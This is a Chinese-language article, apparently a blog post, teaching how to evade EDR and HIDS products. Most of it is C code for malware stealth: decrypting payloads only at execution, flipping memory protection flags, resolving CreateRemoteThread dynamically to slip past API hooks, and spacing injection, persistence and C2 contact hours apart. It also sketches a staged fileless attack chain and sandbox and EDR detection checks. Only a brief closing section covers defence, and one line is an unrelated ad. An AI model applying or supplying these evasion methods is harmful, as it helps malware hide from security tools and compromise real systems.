1. 现代终端防护技术的基本原理
在开始讨论规避技术之前,我们需要先理解现代终端检测与响应(EDR)和主机入侵检测系统(HIDS)的工作原理。这些系统通常采用多层防御策略,包括但不限于以下几种检测机制:
- 静态签名检测:通过已知恶意代码的特征库进行匹配
- 行为分析:监控进程行为模式是否异常
- 内存扫描:定期检查进程内存中的可疑内容
- API钩子:拦截关键系统调用来监控程序行为
- 机器学习模型:基于异常行为模式进行检测
其中,内存扫描和行为监控是当前最有效的检测手段之一。内存扫描可以检测到已经加载到内存中的恶意代码片段,而行为监控则能够捕捉到恶意软件在运行时的可疑操作序列。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 内存扫描的规避技术
2.1 内存扫描的工作机制
现代EDR系统通常采用以下几种内存扫描方式:
- 定期扫描:按固定时间间隔检查进程内存
- 事件触发扫描:在特定API调用或系统事件后触发扫描
- 连续监控:通过内核驱动实时监控内存变化
这些扫描通常会查找以下内容:
- 已知恶意代码的特征
- 异常内存区域(如可执行堆)
- 可疑的内存保护标志
- 隐藏的代码注入痕迹
2.2 规避内存扫描的实用技术
2.2.1 内存加密技术
一种有效的方法是只在需要执行时解密代码,执行后立即重新加密。这可以通过以下步骤实现:
c复制void execute_encrypted_code(unsigned char* code, size_t size, const char* key) {
// 解密代码
decrypt_code(code, size, key);
// 创建可执行内存区域
void* exec_mem = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec_mem, code, size);
// 执行代码
((void(*)())exec_mem)();
// 立即重新加密
encrypt_code(exec_mem, size, key);
VirtualFree(exec_mem, 0, MEM_RELEASE);
}
注意:这种方法需要精确控制代码执行时间,避免在解密状态下被扫描捕获。
2.2.2 内存区域伪装
通过修改内存保护标志来隐藏可疑内存区域:
c复制// 将可执行内存标记为普通数据
VirtualProtect(exec_mem, size, PAGE_READWRITE, &oldProtect);
// 需要执行时临时修改为可执行
DWORD dummy;
VirtualProtect(exec_mem, size, PAGE_EXECUTE_READ, &dummy);
((void(*)())exec_mem)();
VirtualProtect(exec_mem, size, PAGE_READWRITE, &dummy);
2.2.3 内存碎片化存储
将有效载荷分散存储在多个非连续内存区域,只在执行时重组:
c复制struct CodeFragment {
void* address;
size_t size;
};
void execute_fragmented(struct CodeFragment* fragments, int count) {
// 分配连续执行内存
size_t total_size = calculate_total_size(fragments, count);
void* exec_mem = allocate_exec_mem(total_size);
// 重组代码
reassemble_code(fragments, count, exec_mem);
// 执行
((void(*)())exec_mem)();
// 清理
free_exec_mem(exec_mem, total_size);
}
3. 行为监控的规避技术
3.1 行为监控的常见检测点
现代EDR/HIDS通常会监控以下行为:
- 进程注入:跨进程内存操作
- API调用序列:特定API的组合调用
- 权限提升:尝试获取更高权限
- 持久化机制:修改注册表或启动项
- 网络活动:异常连接模式
3.2 规避行为监控的实用方法
3.2.1 API调用混淆
通过间接调用或动态解析API来规避简单的钩子检测:
c复制// 传统直接调用方式 - 容易被钩子捕获
HMODULE hModule = LoadLibraryA("kernel32.dll");
CreateRemoteThread(hProcess, NULL, 0, lpStartAddress, lpParameter, 0, NULL);
// 混淆调用方式
typedef HANDLE (WINAPI *pCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
pCreateRemoteThread pCRT = (pCreateRemoteThread)GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateRemoteThread");
pCRT(hProcess, NULL, 0, lpStartAddress, lpParameter, 0, NULL);
3.2.2 行为时间分散
将可疑操作分散在长时间段内执行,避免短时间内触发行为检测:
c复制// 不推荐:短时间内执行所有可疑操作
perform_injection();
establish_persistence();
connect_to_c2();
// 推荐:分散执行
perform_injection();
Sleep(3600000); // 等待1小时
establish_persistence();
Sleep(7200000); // 等待2小时
connect_to_c2();
3.2.3 合法进程模仿
研究常见合法软件的行为模式,并模仿其API调用序列和内存访问模式:
c复制// 模仿浏览器内存访问模式
void mimic_browser_behavior() {
// 分配和释放内存的浏览器典型模式
for(int i = 0; i < 100; i++) {
void* mem = VirtualAlloc(NULL, random_size(), MEM_COMMIT, PAGE_READWRITE);
// 模拟浏览器内存操作
simulate_browser_operations(mem);
VirtualFree(mem, 0, MEM_RELEASE);
Sleep(random_delay());
}
}
4. 综合规避策略的实现
4.1 规避技术的组合使用
在实际场景中,单一规避技术往往不足以绕过现代EDR/HIDS系统。我们需要组合多种技术:
- 前期侦察:检测系统中存在的安全产品
- 环境适配:根据侦察结果选择合适的规避技术
- 分阶段执行:将恶意操作分解为多个看似无害的步骤
- 持续隐蔽:维持长期隐蔽的同时完成目标
4.2 实际案例:无文件攻击链
以下是一个结合多种技术的无文件攻击示例:
c复制// 阶段1:合法进程注入
HANDLE hProcess = find_trusted_process();
inject_loader(hProcess);
// 阶段2:内存中解密第二阶段载荷
void* payload = decrypt_in_memory(encrypted_payload);
// 阶段3:分阶段执行
execute_stage1(payload);
Sleep(60000); // 等待1分钟
execute_stage2(payload);
// 阶段4:清理痕迹
cleanup_in_memory(payload);
4.3 反检测技巧
- EDR产品识别:
c复制BOOL is_edr_present() {
// 检查已知EDR进程、驱动、服务等
return check_for_processes() || check_for_drivers() || check_for_services();
}
- 沙箱检测:
c复制BOOL is_sandbox() {
// 检查系统运行时间、内存大小、CPU核心数等
return get_uptime() < 3600 || get_memory_size() < 2048 || get_cpu_cores() < 2;
}
- 用户交互验证:
c复制BOOL is_real_user() {
// 检查鼠标移动、窗口焦点变化等用户交互迹象
return check_mouse_movement() || check_window_focus_changes();
}
5. 防御视角的思考
理解这些规避技术不仅对攻击者有用,对防御者同样重要。以下是从防御角度需要考虑的改进方向:
-
增强内存扫描技术:
- 使用更频繁的随机扫描
- 分析内存中的加密模式
- 检测内存保护标志的异常变化
-
改进行为监控:
- 关注长时间跨度的行为模式
- 分析API调用的上下文关系
- 检测对系统API的非常规使用
-
多层防御策略:
- 结合静态分析和动态分析
- 使用终端和网络双重检测
- 实施最小权限原则
在实际防御中,最重要的是保持安全产品的更新,并定期测试其检测能力。同时,安全团队应该持续研究最新的攻击技术,以便及时调整防御策略。
